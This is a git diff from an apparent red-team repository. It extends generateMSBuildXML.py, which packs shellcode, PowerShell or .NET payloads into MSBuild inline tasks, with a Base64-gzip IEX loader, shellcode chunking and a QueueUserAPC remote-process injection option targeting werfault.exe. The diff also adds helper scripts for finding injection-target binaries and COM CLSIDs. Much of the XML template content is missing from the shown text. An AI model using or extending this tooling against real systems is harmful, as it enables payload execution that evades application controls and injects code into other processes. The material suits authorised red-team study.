diff --git a/red-teaming/generateMSBuildXML.py b/red-teaming/generateMSBuildXML.py index f4c298e..e694429 100644 --- a/red-teaming/generateMSBuildXML.py +++ b/red-teaming/generateMSBuildXML.py @@ -28,7 +28,7 @@ import binascii import argparse -def getCompressedPayload(filePath): +def getCompressedPayload(filePath, returnRaw = False): out = io.BytesIO() encoded = '' with open(filePath, 'rb') as f: @@ -38,57 +38,99 @@ def getCompressedPayload(filePath): fo.write(inp) encoded = base64.b64encode(out.getvalue()) + if returnRaw: + return encoded powershell = "$s = New-Object IO.MemoryStream(, [Convert]::FromBase64String('{}')); IEX (New-Object IO.StreamReader(New-Object IO.Compression.GzipStream($s, [IO.Compression.CompressionMode]::Decompress))).ReadToEnd();".format( encoded.decode() ) return powershell -def getInlineTask(payload, _format): +def getPayloadCode(payload): + return f'shellcode = "{payload}";' + payloadCode = '\n' + + N = 50000 + codeSlices = map(lambda i: payload[i:i+N], range(0, len(payload), N)) + + variables = [] + + num = 1 + for code in codeSlices: + payloadCode += f'string shellcode{num} = "{code}";\n' + variables.append(f'shellcode{num}') + num += 1 + + concat = 'shellcode = ' + ' + '.join(variables) + ';\n' + payloadCode += concat + + return payloadCode + +def getInlineTask(module, payload, _format, apc, targetProcess): templateName = ''.join(random.choice(string.ascii_letters) for x in range(random.randint(5, 15))) + if len(module) > 0: + templateName = module + taskName = ''.join(random.choice(string.ascii_letters) for x in range(random.randint(5, 15))) + payloadCode = getPayloadCode(payload.decode()) + sys.stderr.write(payloadCode + '\n') launchCode = '' if _format == 'exe': - exeLaunchCode = string.Template(''' - - - - - - + + + - ''').safe_substitute( - payload2 = base64.b64encode(payload.encode()).decode() + + ''').safe_substitute( + payloadCode = payloadCode ) - launchCode = exeLaunchCode elif _format == 'raw': + shellcodeLoader = '' - foo = str(binascii.hexlify(payload), 'ascii') - fooarr = ['0x{}'.format(foo[i:i+2]) for i in range(0, len(foo), 2)] - encodedPayload = ' ' - - for i in range(len(fooarr)): - if i % 32 == 0 and i > 0: - encodedPayload += '\n ' - encodedPayload += '{}, '.format(fooarr[i]) - - encodedPayload = encodedPayload.strip()[:-1] - - shellcodeLoader = string.Template(''' + if not apc: + shellcodeLoader = string.Template(''' - ''').safe_substitute( + + ''').safe_substitute( + templateName = templateName, + payloadCode = payloadCode + ) + else: + # + # The below MSBuild template comes from: + # https://github.com/infosecn1nja/MaliciousMacroMSBuild + # + shellcodeLoader = string.Template(''' + + + + ''').safe_substitute( templateName = templateName, - payload2 = encodedPayload, - payloadSize = len(payload) + payloadCode = payloadCode, + targetProcess = targetProcess ) launchCode = shellcodeLoader @@ -157,15 +418,33 @@ def getInlineTask(payload, _format): - ''').safe_substitute( + + ''').safe_substitute( templateName = templateName, - payload2 = base64.b64encode(payload.encode()).decode() + payloadCode = payloadCode ) launchCode = powershellLaunchCode @@ -200,7 +480,6 @@ def getInlineTask(payload, _format): $launchCode - ''').safe_substitute( taskName = taskName, @@ -265,20 +544,38 @@ def minimize(output): 'lpThreadId' : 'p11', 'dwMilliseconds' : 'p12', 'hHandle' : 'p13', + 'processpath' : 'p14', + 'shellcode' : 'p15', + 'resultPtr' : 'p16', + 'bytesWritten' : 'p17', + 'resultBool' : 'p18', + 'ThreadHandle' : 'p19', + 'PAGE_READWRITE' : 'p20', + 'PAGE_EXECUTE_READ' : 'p21', } - for k, v in variables.items(): - output = output.replace(k, v) + # Variables renaming tends to corrupt Base64 streams. + #for k, v in variables.items(): + # output = output.replace(k, v) return output def opts(argv): parser = argparse.ArgumentParser(prog = argv[0], usage='%(prog)s [options] ') parser.add_argument('inputFile', help = 'Input file to be encoded within XML. May be either Powershell script, raw binary Shellcode or .NET Assembly (PE/EXE) file.') + + parser.add_argument('-o', '--output', metavar='PATH', default='', type=str, help = 'Output path where to write generated script. Default: stdout') + parser.add_argument('-n', '--module', metavar='NAME', default='', type=str, help = 'Specifies custom C# module name for the generated Task (for needs of shellcode loaders such as DotNetToJScript or Donut). Default: auto generated name.') parser.add_argument('-m', '--minimize', action='store_true', help = 'Minimize the output XML file.') parser.add_argument('-b', '--encode', action='store_true', help = 'Base64 encode output XML file.') - parser.add_argument('-e', '--exe', action='store_true', help = 'Specified input file is an Mono/.Net assembly PE/EXE. WARNING: Launching EXE is currently possible ONLY WITH MONO/.NET assembly EXE/DLL files, not an ordinary native PE/EXE!') - parser.add_argument('-r', '--raw', action='store_true', help = 'Specified input file is a raw Shellcode to be injected in self process in a separate Thread.') + parser.add_argument('-e', '--exe', action='store_true', + help = 'Specified input file is an Mono/.Net assembly PE/EXE. WARNING: Launching EXE is currently possible ONLY WITH MONO/.NET assembly EXE/DLL files, not an ordinary native PE/EXE!') + parser.add_argument('-r', '--raw', action='store_true', help = 'Specified input file is a raw Shellcode to be injected in self process in a separate Thread (VirtualAlloc + CreateThread)') + parser.add_argument('--queue-apc', action='store_true', + help = 'If --raw was specified, generate C# code template with CreateProcess + WriteProcessMemory + QueueUserAPC process injection technique instead of default CreateThread.') + parser.add_argument('--target-process', metavar='PATH', default=r'%windir%\system32\werfault.exe', + help = r'This option specifies target process path for remote process injection in --queue-apc technique. May use environment variables. May also contain command line for spawned process, example: --target-process "%%windir%%\system32\werfault.exe -l -u 1234"') + parser.add_argument('--only-csharp', action='store_true', help = 'Return generated C# code instead of MSBuild\'s XML.') args = parser.parse_args() @@ -286,6 +583,8 @@ def opts(argv): sys.stderr.write('[!] --exe and --raw options are mutually exclusive!\n') sys.exit(-1) + args.target_process = args.target_process.replace("^%", '%') + return args def main(argv): @@ -296,7 +595,7 @@ def main(argv): ''') if len(argv) < 2: - print('Usage: ./generateMSBuildXML.py ') + print('Usage: ./generateMSBuildXML.py [options] ') sys.exit(-1) args = opts(argv) @@ -325,17 +624,29 @@ def main(argv): if args.inputFile.endswith('.exe'): return False - payload = getCompressedPayload(args.inputFile) + payload = getCompressedPayload(args.inputFile, _format != 'powershell') + output = getInlineTask(args.module, payload, _format, args.queue_apc, args.target_process) - output = getInlineTask(payload, _format) + if args.only_csharp: + m = re.search(r'\<\!\[CDATA\[(.+)\]\]\>', output, re.M|re.S) + if m: + output = m.groups(0)[0] if args.minimize: output = minimize(output) if args.encode: - print(base64.b64encode(output)) + if len(args.output) > 0: + with open(args.output, 'w') as f: + f.write(base64.b64encode(output)) + else: + print(base64.b64encode(output)) else: - print(output) + if len(args.output) > 0: + with open(args.output, 'w') as f: + f.write(output) + else: + print(output) msbuildPath = r'%WINDIR%\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe' if 'PROGRAMFILES(X86)' in os.environ: diff --git a/windows/Find-CLSIDForProgID.ps1 b/windows/Find-CLSIDForProgID.ps1 new file mode 100644 index 0000000..ac8841f --- /dev/null +++ b/windows/Find-CLSIDForProgID.ps1 @@ -0,0 +1,3 @@ +function Find-CLSIDForProgID($ProgId) { + Get-ChildItem REGISTRY::HKEY_CLASSES_ROOT\CLSID -Include PROGID -Recurse | where {$_.GetValue("") -match $ProgId } +} \ No newline at end of file diff --git a/windows/PE-library b/windows/PE-library index fcfe1e3..fb7aeee 160000 --- a/windows/PE-library +++ b/windows/PE-library @@ -1 +1 @@ -Subproject commit fcfe1e3a40f726e86a1f89e9627055a43b2604de +Subproject commit fb7aeee8438b959099b01e38eadce917849ed488 diff --git a/windows/README.md b/windows/README.md index 88b43b5..c4ebc2f 100644 --- a/windows/README.md +++ b/windows/README.md @@ -3,6 +3,10 @@ - **`awareness.bat`** - Little and quick Windows Situational-Awareness set of commands to execute after gaining initial foothold (coming from APT34: https://www.fireeye.com/blog/threat-research/2016/05/targeted_attacksaga.html ) ([gist](https://gist.github.com/mgeeky/237b48e0bb6546acb53696228ab50794)) +- **`Find-CLSIDForProgID.ps1`** - Tries to locate COM object's `ProgID` based on a given CLSID. + +- **`find-system-and-syswow64-binaries.py`** - Finds files with specified extension in both System32 and SysWOW64 and then prints their intersection. Useful for finding executables (for process injection purposes) that reside in both directories (such as `WerFault.exe`) + - **`Force-PSRemoting.ps1`** - Forcefully enable WinRM / PSRemoting. [gist](https://gist.github.com/mgeeky/313c22def5c86d7a529f41e5b6ff79b8) - **`GlobalProtectDisable.cpp`** - Global Protect VPN Application patcher allowing the Administrator user to disable VPN without Passcode. ([gist](https://gist.github.com/mgeeky/54ac676226a1a4bd9fd8653e24adc2e9)) diff --git a/windows/find-system-and-syswow64-binaries.py b/windows/find-system-and-syswow64-binaries.py new file mode 100644 index 0000000..f0535b9 --- /dev/null +++ b/windows/find-system-and-syswow64-binaries.py @@ -0,0 +1,36 @@ +#!/usr/bin/python3 + +import sys +import os +import glob + +def main(argv): + if len(argv) == 1: + print('Usage: ./script ') + return False + + ext = argv[1] + system32 = set() + syswow64 = set() + p1 = os.path.join(os.environ['Windir'], 'System32' + os.sep + '*.' + ext) + p2 = os.path.join(os.environ['Windir'], 'SysWOW64' + os.sep + '*.' + ext) + + sys.stderr.write('[.] System32: ' + p1 + '\n') + sys.stderr.write('[.] SysWOW64: ' + p2 + '\n') + + for file in glob.glob(p1): + system32.add(os.path.basename(file)) + + for file in glob.glob(p2): + syswow64.add(os.path.basename(file)) + + commons = system32.intersection(syswow64) + sys.stderr.write(f"[.] Found {len(system32)} files in System32\n") + sys.stderr.write(f"[.] Found {len(syswow64)} files in SysWOW64\n") + sys.stderr.write(f"[.] Intersection of these two sets: {len(commons)}\n") + + for f in commons: + print(f) + +if __name__ == '__main__': + main(sys.argv) \ No newline at end of file